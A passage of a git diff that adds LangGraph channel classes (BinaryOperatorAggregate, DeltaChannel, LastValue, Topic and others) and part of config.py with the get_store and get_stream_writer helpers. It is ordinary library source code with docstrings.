+        Raises `EmptyChannelError` if the channel is empty (never updated yet)."""
+
+    def is_available(self) -> bool:
+        """Return `True` if the channel is available (not empty), `False` otherwise.
+
+        Subclasses should override this method to provide a more efficient
+        implementation than calling `get()` and catching `EmptyChannelError`.
+        """
+        try:
+            self.get()
+            return True
+        except EmptyChannelError:
+            return False
+
+    # write methods
+
+    @abstractmethod
+    def update(self, values: Sequence[Update]) -> bool:
+        """Update the channel's value with the given sequence of updates.
+        The order of the updates in the sequence is arbitrary.
+        This method is called by Pregel for all channels at the end of each step.
+
+        If there are no updates, it is called with an empty sequence.
+
+        Raises `InvalidUpdateError` if the sequence of updates is invalid.
+
+        Returns `True` if the channel was updated, `False` otherwise."""
+
+    def consume(self) -> bool:
+        """Notify the channel that a subscribed task ran.
+
+        By default, no-op.
+
+        A channel can use this method to modify its state, preventing the value from being consumed again.
+
+        Returns `True` if the channel was updated, `False` otherwise.
+        """
+        return False
+
+    def finish(self) -> bool:
+        """Notify the channel that the Pregel run is finishing.
+
+        By default, no-op.
+
+        A channel can use this method to modify its state, preventing finish.
+
+        Returns `True` if the channel was updated, `False` otherwise.
+        """
+        return False
diff --git a/libs/langgraph/langgraph/channels/binop.py b/libs/langgraph/langgraph/channels/binop.py
new file mode 100644
index 0000000..5834619
--- /dev/null
+++ b/libs/langgraph/langgraph/channels/binop.py
@@ -0,0 +1,155 @@
+import collections.abc
+from collections.abc import Callable, Sequence
+from typing import Any, Generic
+
+from typing_extensions import NotRequired, Required, Self
+
+from langgraph._internal._constants import OVERWRITE
+from langgraph._internal._typing import MISSING
+from langgraph.channels.base import BaseChannel, Value
+from langgraph.errors import (
+    EmptyChannelError,
+    ErrorCode,
+    InvalidUpdateError,
+    create_error_message,
+)
+from langgraph.types import Overwrite
+
+__all__ = ("BinaryOperatorAggregate",)
+
+
+# Adapted from typing_extensions
+def _strip_extras(t):  # type: ignore[no-untyped-def]
+    """Strips Annotated, Required and NotRequired from a given type."""
+    if hasattr(t, "__origin__"):
+        if t.__origin__ in (Required, NotRequired):
+            return _strip_extras(t.__args__[0])
+        return _strip_extras(t.__origin__)
+    return t
+
+
+def _get_overwrite(value: Any) -> tuple[bool, Any]:
+    """Inspects the given value and returns (is_overwrite, overwrite_value).
+
+    Recognises three forms:
+
+    * The typed `Overwrite` dataclass instance.
+    * The sentinel-keyed `{"__overwrite__": value}` dict form.
+    * The dataclass-erased `{"value": ..., "type": "__overwrite__"}` form that
+      results from JSON-serialising an `Overwrite` (e.g. an `orjson`-encoded
+      state update routed through the LangGraph API server). This keeps the
+      `Overwrite` semantics intact across JSON boundaries that strip dataclass
+      types.
+    """
+    if isinstance(value, Overwrite):
+        return True, value.value
+    if isinstance(value, dict):
+        if len(value) == 1 and OVERWRITE in value:
+            return True, value[OVERWRITE]
+        if value.get("type") == OVERWRITE and "value" in value:
+            return True, value["value"]
+    return False, None
+
+
+def _operators_equal(a: Callable, b: Callable) -> bool:
+    """Return True if two reducer operators should be considered equal.
+
+    Lambdas all share the name '' so identity comparison is
+    unreliable; treat any pairing that includes a lambda as equal.
+    """
+    if a.__name__ == "" or b.__name__ == "":
+        return True
+    return a is b
+
+
+class BinaryOperatorAggregate(Generic[Value], BaseChannel[Value, Value, Value]):
+    """Stores the result of applying a binary operator to the current value and each new value.
+
+    ```python
+    import operator
+
+    total = Channels.BinaryOperatorAggregate(int, operator.add)
+    ```
+    """
+
+    __slots__ = ("value", "operator")
+
+    def __init__(self, typ: type[Value], operator: Callable[[Value, Value], Value]):
+        super().__init__(typ)
+        self.operator = operator
+        # special forms from typing or collections.abc are not instantiable
+        # so we need to replace them with their concrete counterparts
+        typ = _strip_extras(typ)
+        if typ in (collections.abc.Sequence, collections.abc.MutableSequence):
+            typ = list
+        if typ in (collections.abc.Set, collections.abc.MutableSet):
+            typ = set
+        if typ in (collections.abc.Mapping, collections.abc.MutableMapping):
+            typ = dict
+        try:
+            self.value = typ()
+        except Exception:
+            self.value = MISSING
+
+    def __eq__(self, value: object) -> bool:
+        return isinstance(value, BinaryOperatorAggregate) and _operators_equal(
+            self.operator, value.operator
+        )
+
+    @property
+    def ValueType(self) -> type[Value]:
+        """The type of the value stored in the channel."""
+        return self.typ
+
+    @property
+    def UpdateType(self) -> type[Value]:
+        """The type of the update received by the channel."""
+        return self.typ
+
+    def copy(self) -> Self:
+        """Return a copy of the channel."""
+        empty = self.__class__(self.typ, self.operator)
+        empty.key = self.key
+        empty.value = self.value
+        return empty
+
+    def from_checkpoint(self, checkpoint: Value) -> Self:
+        empty = self.__class__(self.typ, self.operator)
+        empty.key = self.key
+        if checkpoint is not MISSING:
+            empty.value = checkpoint
+        return empty
+
+    def update(self, values: Sequence[Value]) -> bool:
+        if not values:
+            return False
+        if self.value is MISSING:
+            self.value = values[0]
+            values = values[1:]
+        seen_overwrite: bool = False
+        for value in values:
+            is_overwrite, overwrite_value = _get_overwrite(value)
+            if is_overwrite:
+                if seen_overwrite:
+                    msg = create_error_message(
+                        message="Can receive only one Overwrite value per super-step.",
+                        error_code=ErrorCode.INVALID_CONCURRENT_GRAPH_UPDATE,
+                    )
+                    raise InvalidUpdateError(msg)
+                self.value = overwrite_value
+                seen_overwrite = True
+                continue
+            if not seen_overwrite:
+                self.value = self.operator(self.value, value)
+        return True
+
+    def get(self) -> Value:
+        if self.value is MISSING:
+            raise EmptyChannelError()
+        return self.value
+
+    def is_available(self) -> bool:
+        return self.value is not MISSING
+
+    def checkpoint(self) -> Value:
+        return self.value
diff --git a/libs/langgraph/langgraph/channels/delta.py b/libs/langgraph/langgraph/channels/delta.py
new file mode 100644
index 0000000..eecf954
--- /dev/null
+++ b/libs/langgraph/langgraph/channels/delta.py
@@ -0,0 +1,202 @@
+from __future__ import annotations
+
+import collections.abc
+import copy as _copy
+from collections.abc import Callable, Sequence
+from typing import Any, Generic
+
+from langgraph.checkpoint.base import PendingWrite
+from langgraph.checkpoint.serde.types import _DeltaSnapshot
+from typing_extensions import Self
+
+from langgraph._internal._typing import MISSING
+from langgraph.channels.base import BaseChannel, Value
+from langgraph.channels.binop import _get_overwrite, _operators_equal, _strip_extras
+from langgraph.errors import (
+    EmptyChannelError,
+    ErrorCode,
+    InvalidUpdateError,
+    create_error_message,
+)
+
+__all__ = ("DeltaChannel",)
+
+
+class DeltaChannel(Generic[Value], BaseChannel[Any, Any, Any]):
+    """Reducer channel that stores only a sentinel in checkpoint blobs and
+    reconstructs state by replaying ancestor writes through the reducer.
+
+    !!! warning "Beta"
+
+        `DeltaChannel` is in beta. The API and on-disk representation may
+        change in future releases. Threads written with `DeltaChannel` today
+        are expected to remain readable, but the surrounding contract
+        (`BaseCheckpointSaver.get_delta_channel_history`, the
+        `_DeltaSnapshot` blob shape, the `counters_since_delta_snapshot`
+        metadata field) is not yet stable.
+
+    The reducer receives the current accumulated value and a batch of writes
+    in one call: `reducer(state, [write1, write2, ...]) -> new_state`.
+
+    Reducers must be deterministic and batching-invariant (associative across
+    folds): applying two consecutive write batches separately must produce the
+    same state as applying their concatenation once:
+
+        reducer(reducer(state, xs), ys) == reducer(state, xs + ys)
+
+    This lets LangGraph replay checkpointed writes in larger batches than they
+    were originally produced without changing reconstructed state.
+
+    Snapshot cadence is driven by two counters: per-channel update count and
+    total supersteps since last snapshot. `create_checkpoint` writes a full
+    `_DeltaSnapshot` blob when EITHER the update count reaches
+    `snapshot_frequency` OR the supersteps count reaches the system-wide
+    `DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT` bound (default 5000), bounding
+    replay depth even for channels that stop receiving writes.
+
+    Parameters:
+        reducer: `(state, list[writes]) -> new_state`. Must be deterministic
+            and batching-invariant as described above.
+        typ: The value type (e.g. `list`, `dict`). Inferred automatically
+            from the outer type when used inside `Annotated[T, DeltaChannel(...)]`.
+        snapshot_frequency: Every Nth update to this channel writes a snapshot
+            blob (default `1000`). Must be a positive int.
+    """
+
+    __slots__ = ("value", "reducer", "snapshot_frequency")
+    value: Value | Any
+
+    def __init__(
+        self,
+        reducer: Callable[[Any, Sequence[Any]], Any],
+        typ: type[Value] | None = None,
+        *,
+        snapshot_frequency: int = 1000,
+    ) -> None:
+        if snapshot_frequency <= 0:
+            raise ValueError(
+                f"snapshot_frequency must be a positive int, got {snapshot_frequency}"
+            )
+        if typ is None:
+            typ = list  # type: ignore[assignment]  # placeholder; overridden by _is_field_channel
+        super().__init__(typ)
+        self.reducer = reducer
+        self.snapshot_frequency = snapshot_frequency
+        typ = _strip_extras(typ)
+        if typ in (collections.abc.Sequence, collections.abc.MutableSequence):
+            typ = list
+        if typ in (collections.abc.Set, collections.abc.MutableSet):
+            typ = set
+        if typ in (collections.abc.Mapping, collections.abc.MutableMapping):
+            typ = dict
+        self.typ = typ
+        self.value: Any = MISSING
+
+    def __eq__(self, other: object) -> bool:
+        if not isinstance(other, DeltaChannel):
+            return False
+        if self.snapshot_frequency != other.snapshot_frequency:
+            return False
+        return _operators_equal(self.reducer, other.reducer)
+
+    @property
+    def ValueType(self) -> Any:
+        return self.typ
+
+    @property
+    def UpdateType(self) -> Any:
+        return self.typ
+
+    def copy(self) -> Self:
+        new = self.__class__(
+            self.reducer, self.typ, snapshot_frequency=self.snapshot_frequency
+        )
+        new.key = self.key
+        new.value = self.value if self.value is MISSING else _copy.copy(self.value)
+        return new
+
+    def from_checkpoint(self, checkpoint: Any) -> Self:
+        """Initialize from a stored blob.
+
+        Blob types:
+          * `MISSING`: start empty; caller replays writes.
+          * `_DeltaSnapshot(value)`: restore value directly from snapshot.
+          * plain value (migration from old `BinaryOperatorAggregate` blobs):
+            use directly.
+        """
+        new = self.__class__(
+            self.reducer, self.typ, snapshot_frequency=self.snapshot_frequency
+        )
+        new.key = self.key
+        if checkpoint is MISSING:
+            new.value = self.typ()
+        elif isinstance(checkpoint, _DeltaSnapshot):
+            new.value = checkpoint.value
+        else:
+            new.value = checkpoint
+        return new
+
+    def replay_writes(self, writes: Sequence[PendingWrite]) -> None:
+        """Apply ancestor writes oldest-to-newest via a single reducer call.
+
+        If any write is an Overwrite, the last one in the sequence acts as
+        the reset point: its value becomes the new base and only writes
+        after it are passed to the reducer.
+        """
+        values = [v for _, _, v in writes]
+        if not values:
+            return
+        base = self.value
+        start = 0
+        for i, v in enumerate(values):
+            is_ow, ow_value = _get_overwrite(v)
+            if is_ow:
+                base = _copy.copy(ow_value) if ow_value is not None else self.typ()
+                start = i + 1
+        remaining = values[start:]
+        self.value = self.reducer(base, remaining) if remaining else base
+
+    def update(self, values: Sequence[Any]) -> bool:
+        if not values:
+            return False
+        overwrite_idx: int | None = None
+        for i, v in enumerate(values):
+            is_ow, _ = _get_overwrite(v)
+            if is_ow:
+                if overwrite_idx is not None:
+                    msg = create_error_message(
+                        message="Can receive only one Overwrite value per super-step.",
+                        error_code=ErrorCode.INVALID_CONCURRENT_GRAPH_UPDATE,
+                    )
+                    raise InvalidUpdateError(msg)
+                overwrite_idx = i
+        if overwrite_idx is not None:
+            _, overwrite_value = _get_overwrite(values[overwrite_idx])
+            self.value = (
+                _copy.copy(overwrite_value)
+                if overwrite_value is not None
+                else self.typ()
+            )
+            return True
+        base = self.typ() if self.value is MISSING else self.value
+        self.value = self.reducer(base, list(values))
+        return True
+
+    def get(self) -> Any:
+        if self.value is MISSING:
+            raise EmptyChannelError()
+        return self.value
+
+    def is_available(self) -> bool:
+        return self.value is not MISSING
+
+    def checkpoint(self) -> Any:
+        """Return stored representation: always `MISSING`.
+
+        Snapshot decisions live in `create_checkpoint` (which has the channel
+        version) and write `_DeltaSnapshot(ch.get())` directly into
+        `channel_values`. For non-snapshot steps the channel does not appear
+        in `channel_values`; reconstruction walks ancestor writes via the
+        saver's `get_delta_channel_history`.
+        """
+        return MISSING
diff --git a/libs/langgraph/langgraph/channels/ephemeral_value.py b/libs/langgraph/langgraph/channels/ephemeral_value.py
new file mode 100644
index 0000000..108588d
--- /dev/null
+++ b/libs/langgraph/langgraph/channels/ephemeral_value.py
@@ -0,0 +1,79 @@
+from __future__ import annotations
+
+from collections.abc import Sequence
+from typing import Any, Generic
+
+from typing_extensions import Self
+
+from langgraph._internal._typing import MISSING
+from langgraph.channels.base import BaseChannel, Value
+from langgraph.errors import EmptyChannelError, InvalidUpdateError
+
+__all__ = ("EphemeralValue",)
+
+
+class EphemeralValue(Generic[Value], BaseChannel[Value, Value, Value]):
+    """Stores the value received in the step immediately preceding, clears after."""
+
+    __slots__ = ("value", "guard")
+
+    value: Value | Any
+    guard: bool
+
+    def __init__(self, typ: Any, guard: bool = True) -> None:
+        super().__init__(typ)
+        self.guard = guard
+        self.value = MISSING
+
+    def __eq__(self, value: object) -> bool:
+        return isinstance(value, EphemeralValue) and value.guard == self.guard
+
+    @property
+    def ValueType(self) -> type[Value]:
+        """The type of the value stored in the channel."""
+        return self.typ
+
+    @property
+    def UpdateType(self) -> type[Value]:
+        """The type of the update received by the channel."""
+        return self.typ
+
+    def copy(self) -> Self:
+        """Return a copy of the channel."""
+        empty = self.__class__(self.typ, self.guard)
+        empty.key = self.key
+        empty.value = self.value
+        return empty
+
+    def from_checkpoint(self, checkpoint: Value) -> Self:
+        empty = self.__class__(self.typ, self.guard)
+        empty.key = self.key
+        if checkpoint is not MISSING:
+            empty.value = checkpoint
+        return empty
+
+    def update(self, values: Sequence[Value]) -> bool:
+        if len(values) == 0:
+            if self.value is not MISSING:
+                self.value = MISSING
+                return True
+            else:
+                return False
+        if len(values) != 1 and self.guard:
+            raise InvalidUpdateError(
+                f"At key '{self.key}': EphemeralValue(guard=True) can receive only one value per step. Use guard=False if you want to store any one of multiple values."
+            )
+
+        self.value = values[-1]
+        return True
+
+    def get(self) -> Value:
+        if self.value is MISSING:
+            raise EmptyChannelError()
+        return self.value
+
+    def is_available(self) -> bool:
+        return self.value is not MISSING
+
+    def checkpoint(self) -> Value:
+        return self.value
diff --git a/libs/langgraph/langgraph/channels/last_value.py b/libs/langgraph/langgraph/channels/last_value.py
new file mode 100644
index 0000000..54caac7
--- /dev/null
+++ b/libs/langgraph/langgraph/channels/last_value.py
@@ -0,0 +1,151 @@
+from __future__ import annotations
+
+from collections.abc import Sequence
+from typing import Any, Generic
+
+from typing_extensions import Self
+
+from langgraph._internal._typing import MISSING
+from langgraph.channels.base import BaseChannel, Value
+from langgraph.errors import (
+    EmptyChannelError,
+    ErrorCode,
+    InvalidUpdateError,
+    create_error_message,
+)
+
+__all__ = ("LastValue", "LastValueAfterFinish")
+
+
+class LastValue(Generic[Value], BaseChannel[Value, Value, Value]):
+    """Stores the last value received, can receive at most one value per step."""
+
+    __slots__ = ("value",)
+
+    value: Value | Any
+
+    def __init__(self, typ: Any, key: str = "") -> None:
+        super().__init__(typ, key)
+        self.value = MISSING
+
+    def __eq__(self, value: object) -> bool:
+        return isinstance(value, LastValue)
+
+    @property
+    def ValueType(self) -> type[Value]:
+        """The type of the value stored in the channel."""
+        return self.typ
+
+    @property
+    def UpdateType(self) -> type[Value]:
+        """The type of the update received by the channel."""
+        return self.typ
+
+    def copy(self) -> Self:
+        """Return a copy of the channel."""
+        empty = self.__class__(self.typ, self.key)
+        empty.value = self.value
+        return empty
+
+    def from_checkpoint(self, checkpoint: Value) -> Self:
+        empty = self.__class__(self.typ, self.key)
+        if checkpoint is not MISSING:
+            empty.value = checkpoint
+        return empty
+
+    def update(self, values: Sequence[Value]) -> bool:
+        if len(values) == 0:
+            return False
+        if len(values) != 1:
+            msg = create_error_message(
+                message=f"At key '{self.key}': Can receive only one value per step. Use an Annotated key to handle multiple values.",
+                error_code=ErrorCode.INVALID_CONCURRENT_GRAPH_UPDATE,
+            )
+            raise InvalidUpdateError(msg)
+
+        self.value = values[-1]
+        return True
+
+    def get(self) -> Value:
+        if self.value is MISSING:
+            raise EmptyChannelError()
+        return self.value
+
+    def is_available(self) -> bool:
+        return self.value is not MISSING
+
+    def checkpoint(self) -> Value:
+        return self.value
+
+
+class LastValueAfterFinish(
+    Generic[Value], BaseChannel[Value, Value, tuple[Value, bool]]
+):
+    """Stores the last value received, but only made available after finish().
+    Once made available, clears the value."""
+
+    __slots__ = ("value", "finished")
+
+    value: Value | Any
+    finished: bool
+
+    def __init__(self, typ: Any, key: str = "") -> None:
+        super().__init__(typ, key)
+        self.value = MISSING
+        self.finished = False
+
+    def __eq__(self, value: object) -> bool:
+        return isinstance(value, LastValueAfterFinish)
+
+    @property
+    def ValueType(self) -> type[Value]:
+        """The type of the value stored in the channel."""
+        return self.typ
+
+    @property
+    def UpdateType(self) -> type[Value]:
+        """The type of the update received by the channel."""
+        return self.typ
+
+    def checkpoint(self) -> tuple[Value | Any, bool] | Any:
+        if self.value is MISSING:
+            return MISSING
+        return (self.value, self.finished)
+
+    def from_checkpoint(self, checkpoint: tuple[Value | Any, bool] | Any) -> Self:
+        empty = self.__class__(self.typ)
+        empty.key = self.key
+        if checkpoint is not MISSING:
+            empty.value, empty.finished = checkpoint
+        return empty
+
+    def update(self, values: Sequence[Value | Any]) -> bool:
+        if len(values) == 0:
+            return False
+
+        self.finished = False
+        self.value = values[-1]
+        return True
+
+    def consume(self) -> bool:
+        if self.finished:
+            self.finished = False
+            self.value = MISSING
+            return True
+
+        return False
+
+    def finish(self) -> bool:
+        if not self.finished and self.value is not MISSING:
+            self.finished = True
+            return True
+        else:
+            return False
+
+    def get(self) -> Value:
+        if self.value is MISSING or not self.finished:
+            raise EmptyChannelError()
+        return self.value
+
+    def is_available(self) -> bool:
+        return self.value is not MISSING and self.finished
diff --git a/libs/langgraph/langgraph/channels/named_barrier_value.py b/libs/langgraph/langgraph/channels/named_barrier_value.py
new file mode 100644
index 0000000..d456441
--- /dev/null
+++ b/libs/langgraph/langgraph/channels/named_barrier_value.py
@@ -0,0 +1,167 @@
+from collections.abc import Sequence
+from typing import Generic
+
+from typing_extensions import Self
+
+from langgraph._internal._typing import MISSING
+from langgraph.channels.base import BaseChannel, Value
+from langgraph.errors import EmptyChannelError, InvalidUpdateError
+
+__all__ = ("NamedBarrierValue", "NamedBarrierValueAfterFinish")
+
+
+class NamedBarrierValue(Generic[Value], BaseChannel[Value, Value, set[Value]]):
+    """A channel that waits until all named values are received before making the value available."""
+
+    __slots__ = ("names", "seen")
+
+    names: set[Value]
+    seen: set[Value]
+
+    def __init__(self, typ: type[Value], names: set[Value]) -> None:
+        super().__init__(typ)
+        self.names = names
+        self.seen: set[str] = set()
+
+    def __eq__(self, value: object) -> bool:
+        return isinstance(value, NamedBarrierValue) and value.names == self.names
+
+    @property
+    def ValueType(self) -> type[Value]:
+        """The type of the value stored in the channel."""
+        return self.typ
+
+    @property
+    def UpdateType(self) -> type[Value]:
+        """The type of the update received by the channel."""
+        return self.typ
+
+    def copy(self) -> Self:
+        """Return a copy of the channel."""
+        empty = self.__class__(self.typ, self.names)
+        empty.key = self.key
+        empty.seen = self.seen.copy()
+        return empty
+
+    def checkpoint(self) -> set[Value]:
+        return self.seen
+
+    def from_checkpoint(self, checkpoint: set[Value]) -> Self:
+        empty = self.__class__(self.typ, self.names)
+        empty.key = self.key
+        if checkpoint is not MISSING:
+            empty.seen = checkpoint
+        return empty
+
+    def update(self, values: Sequence[Value]) -> bool:
+        updated = False
+        for value in values:
+            if value in self.names:
+                if value not in self.seen:
+                    self.seen.add(value)
+                    updated = True
+            else:
+                raise InvalidUpdateError(
+                    f"At key '{self.key}': Value {value} not in {self.names}"
+                )
+        return updated
+
+    def get(self) -> Value:
+        if self.seen != self.names:
+            raise EmptyChannelError()
+        return None
+
+    def is_available(self) -> bool:
+        return self.seen == self.names
+
+    def consume(self) -> bool:
+        if self.seen == self.names:
+            self.seen = set()
+            return True
+        return False
+
+
+class NamedBarrierValueAfterFinish(
+    Generic[Value], BaseChannel[Value, Value, set[Value]]
+):
+    """A channel that waits until all named values are received before making the value ready to be made available. It is only made available after finish() is called."""
+
+    __slots__ = ("names", "seen", "finished")
+
+    names: set[Value]
+    seen: set[Value]
+
+    def __init__(self, typ: type[Value], names: set[Value]) -> None:
+        super().__init__(typ)
+        self.names = names
+        self.seen: set[str] = set()
+        self.finished = False
+
+    def __eq__(self, value: object) -> bool:
+        return (
+            isinstance(value, NamedBarrierValueAfterFinish)
+            and value.names == self.names
+        )
+
+    @property
+    def ValueType(self) -> type[Value]:
+        """The type of the value stored in the channel."""
+        return self.typ
+
+    @property
+    def UpdateType(self) -> type[Value]:
+        """The type of the update received by the channel."""
+        return self.typ
+
+    def copy(self) -> Self:
+        """Return a copy of the channel."""
+        empty = self.__class__(self.typ, self.names)
+        empty.key = self.key
+        empty.seen = self.seen.copy()
+        empty.finished = self.finished
+        return empty
+
+    def checkpoint(self) -> tuple[set[Value], bool]:
+        return (self.seen, self.finished)
+
+    def from_checkpoint(self, checkpoint: tuple[set[Value], bool]) -> Self:
+        empty = self.__class__(self.typ, self.names)
+        empty.key = self.key
+        if checkpoint is not MISSING:
+            empty.seen, empty.finished = checkpoint
+        return empty
+
+    def update(self, values: Sequence[Value]) -> bool:
+        updated = False
+        for value in values:
+            if value in self.names:
+                if value not in self.seen:
+                    self.seen.add(value)
+                    updated = True
+            else:
+                raise InvalidUpdateError(
+                    f"At key '{self.key}': Value {value} not in {self.names}"
+                )
+        return updated
+
+    def get(self) -> Value:
+        if not self.finished or self.seen != self.names:
+            raise EmptyChannelError()
+        return None
+
+    def is_available(self) -> bool:
+        return self.finished and self.seen == self.names
+
+    def consume(self) -> bool:
+        if self.finished and self.seen == self.names:
+            self.finished = False
+            self.seen = set()
+            return True
+        return False
+
+    def finish(self) -> bool:
+        if not self.finished and self.seen == self.names:
+            self.finished = True
+            return True
+        else:
+            return False
diff --git a/libs/langgraph/langgraph/channels/topic.py b/libs/langgraph/langgraph/channels/topic.py
new file mode 100644
index 0000000..4f17d7c
--- /dev/null
+++ b/libs/langgraph/langgraph/channels/topic.py
@@ -0,0 +1,94 @@
+from __future__ import annotations
+
+from collections.abc import Iterator, Sequence
+from typing import Any, Generic
+
+from typing_extensions import Self
+
+from langgraph._internal._typing import MISSING
+from langgraph.channels.base import BaseChannel, Value
+from langgraph.errors import EmptyChannelError
+
+__all__ = ("Topic",)
+
+
+def _flatten(values: Sequence[Value | list[Value]]) -> Iterator[Value]:
+    for value in values:
+        if isinstance(value, list):
+            yield from value
+        else:
+            yield value
+
+
+class Topic(
+    Generic[Value],
+    BaseChannel[Sequence[Value], Value | list[Value], list[Value]],
+):
+    """A configurable PubSub Topic.
+
+    Args:
+        typ: The type of the value stored in the channel.
+        accumulate: Whether to accumulate values across steps. If `False`, the channel will be emptied after each step.
+    """
+
+    __slots__ = ("values", "accumulate")
+
+    def __init__(self, typ: type[Value], accumulate: bool = False) -> None:
+        super().__init__(typ)
+        # attrs
+        self.accumulate = accumulate
+        # state
+        self.values = list[Value]()
+
+    def __eq__(self, value: object) -> bool:
+        return isinstance(value, Topic) and value.accumulate == self.accumulate
+
+    @property
+    def ValueType(self) -> Any:
+        """The type of the value stored in the channel."""
+        return Sequence[self.typ]  # type: ignore[name-defined]
+
+    @property
+    def UpdateType(self) -> Any:
+        """The type of the update received by the channel."""
+        return self.typ | list[self.typ]  # type: ignore[name-defined]
+
+    def copy(self) -> Self:
+        """Return a copy of the channel."""
+        empty = self.__class__(self.typ, self.accumulate)
+        empty.key = self.key
+        empty.values = self.values.copy()
+        return empty
+
+    def checkpoint(self) -> list[Value]:
+        return self.values
+
+    def from_checkpoint(self, checkpoint: list[Value]) -> Self:
+        empty = self.__class__(self.typ, self.accumulate)
+        empty.key = self.key
+        if checkpoint is not MISSING:
+            if isinstance(checkpoint, tuple):
+                # backwards compatibility
+                empty.values = checkpoint[1]
+            else:
+                empty.values = checkpoint
+        return empty
+
+    def update(self, values: Sequence[Value | list[Value]]) -> bool:
+        updated = False
+        if not self.accumulate:
+            updated = bool(self.values)
+            self.values = list[Value]()
+        if flat_values := tuple(_flatten(values)):
+            updated = True
+            self.values.extend(flat_values)
+        return updated
+
+    def get(self) -> Sequence[Value]:
+        if self.values:
+            return list(self.values)
+        else:
+            raise EmptyChannelError
+
+    def is_available(self) -> bool:
+        return bool(self.values)
diff --git a/libs/langgraph/langgraph/channels/untracked_value.py b/libs/langgraph/langgraph/channels/untracked_value.py
new file mode 100644
index 0000000..bcd5518
--- /dev/null
+++ b/libs/langgraph/langgraph/channels/untracked_value.py
@@ -0,0 +1,73 @@
+from __future__ import annotations
+
+from collections.abc import Sequence
+from typing import Any, Generic
+
+from typing_extensions import Self
+
+from langgraph._internal._typing import MISSING
+from langgraph.channels.base import BaseChannel, Value
+from langgraph.errors import EmptyChannelError, InvalidUpdateError
+
+__all__ = ("UntrackedValue",)
+
+
+class UntrackedValue(Generic[Value], BaseChannel[Value, Value, Value]):
+    """Stores the last value received, never checkpointed."""
+
+    __slots__ = ("value", "guard")
+
+    guard: bool
+    value: Value | Any
+
+    def __init__(self, typ: type[Value], guard: bool = True) -> None:
+        super().__init__(typ)
+        self.guard = guard
+        self.value = MISSING
+
+    def __eq__(self, value: object) -> bool:
+        return isinstance(value, UntrackedValue) and value.guard == self.guard
+
+    @property
+    def ValueType(self) -> type[Value]:
+        """The type of the value stored in the channel."""
+        return self.typ
+
+    @property
+    def UpdateType(self) -> type[Value]:
+        """The type of the update received by the channel."""
+        return self.typ
+
+    def copy(self) -> Self:
+        """Return a copy of the channel."""
+        empty = self.__class__(self.typ, self.guard)
+        empty.key = self.key
+        empty.value = self.value
+        return empty
+
+    def checkpoint(self) -> Value | Any:
+        return MISSING
+
+    def from_checkpoint(self, checkpoint: Value) -> Self:
+        empty = self.__class__(self.typ, self.guard)
+        empty.key = self.key
+        return empty
+
+    def update(self, values: Sequence[Value]) -> bool:
+        if len(values) == 0:
+            return False
+        if len(values) != 1 and self.guard:
+            raise InvalidUpdateError(
+                f"At key '{self.key}': UntrackedValue(guard=True) can receive only one value per step. Use guard=False if you want to store any one of multiple values."
+            )
+
+        self.value = values[-1]
+        return True
+
+    def get(self) -> Value:
+        if self.value is MISSING:
+            raise EmptyChannelError()
+        return self.value
+
+    def is_available(self) -> bool:
+        return self.value is not MISSING
diff --git a/libs/langgraph/langgraph/config.py b/libs/langgraph/langgraph/config.py
new file mode 100644
index 0000000..c8a321d
--- /dev/null
+++ b/libs/langgraph/langgraph/config.py
@@ -0,0 +1,196 @@
+import asyncio
+import sys
+from typing import Any
+
+from langchain_core.runnables import RunnableConfig
+from langchain_core.runnables.config import var_child_runnable_config
+from langgraph.store.base import BaseStore
+
+from langgraph._internal._constants import CONF, CONFIG_KEY_RUNTIME
+from langgraph.types import StreamWriter
+
+
+def _no_op_stream_writer(c: Any) -> None:
+    pass
+
+
+def get_config() -> RunnableConfig:
+    if sys.version_info < (3, 11):
+        try:
+            if asyncio.current_task():
+                raise RuntimeError(
+                    "Python 3.11 or later required to use this in an async context"
+                )
+        except RuntimeError:
+            pass
+    if var_config := var_child_runnable_config.get():
+        return var_config
+    else:
+        raise RuntimeError("Called get_config outside of a runnable context")
+
+
+def get_store() -> BaseStore:
+    """Access LangGraph store from inside a graph node or entrypoint task at runtime.
+
+    Can be called from inside any [`StateGraph`][langgraph.graph.StateGraph] node or
+    functional API [`task`][langgraph.func.task], as long as the `StateGraph` or the [`entrypoint`][langgraph.func.entrypoint]
+    was initialized with a store, e.g.:
+
+    ```python
+    # with StateGraph
+    graph = (
+        StateGraph(...)
+        ...
+        .compile(store=store)
+    )
+
+    # or with entrypoint
+    @entrypoint(store=store)
+    def workflow(inputs):
+        ...
+    ```
+
+    !!! warning "Async with Python < 3.11"
+
+        If you are using Python < 3.11 and are running LangGraph asynchronously,
+        `get_store()` won't work since it uses [`contextvar`](https://docs.python.org/3/library/contextvars.html) propagation (only available in [Python >= 3.11](https://docs.python.org/3/library/asyncio-task.html#asyncio.create_task)).
+
+
+    Example: Using with `StateGraph`
+        ```python
+        from typing_extensions import TypedDict
+        from langgraph.graph import StateGraph, START
+        from langgraph.store.memory import InMemoryStore
+        from langgraph.config import get_store
+
+        store = InMemoryStore()
+        store.put(("values",), "foo", {"bar": 2})
+
+
+        class State(TypedDict):
+            foo: int
+
+
+        def my_node(state: State):
+            my_store = get_store()
+            stored_value = my_store.get(("values",), "foo").value["bar"]
+            return {"foo": stored_value + 1}
+
+
+        graph = (
+            StateGraph(State)
+            .add_node(my_node)
+            .add_edge(START, "my_node")
+            .compile(store=store)
+        )
+
+        graph.invoke({"foo": 1})
+        ```
+
+        ```pycon
+        {"foo": 3}
+        ```
+
+    Example: Using with functional API
+        ```python
+        from langgraph.func import entrypoint, task
+        from langgraph.store.memory import InMemoryStore
+        from langgraph.config import get_store
+
+        store = InMemoryStore()
+        store.put(("values",), "foo", {"bar": 2})
+
+
+        @task
+        def my_task(value: int):
+            my_store = get_store()
+            stored_value = my_store.get(("values",), "foo").value["bar"]
+            return stored_value + 1
+
+
+        @entrypoint(store=store)
+        def workflow(value: int):
+            return my_task(value).result()
+
+
+        workflow.invoke(1)
+        ```
+
+        ```pycon
+        3
+        ```
+    """
+    return get_config()[CONF][CONFIG_KEY_RUNTIME].store
+
+
+def get_stream_writer() -> StreamWriter:
+    """Access LangGraph [`StreamWriter`][langgraph.types.StreamWriter] from inside a graph node or entrypoint task at runtime.
+
+    Can be called from inside any [`StateGraph`][langgraph.graph.StateGraph] node or
+    functional API [`task`][langgraph.func.task].
+
+    !!! warning "Async with Python < 3.11"
+
+        If you are using Python < 3.11 and are running LangGraph asynchronously,
+        `get_stream_writer()` won't work since it uses [`contextvar`](https://docs.python.org/3/library/contextvars.html) propagation (only available in [Python >= 3.11](https://docs.python.org/3/library/asyncio-task.html#asyncio.create_task)).
+
+    Example: Using with `StateGraph`
+        ```python
+        from typing_extensions import TypedDict
+        from langgraph.graph import StateGraph, START
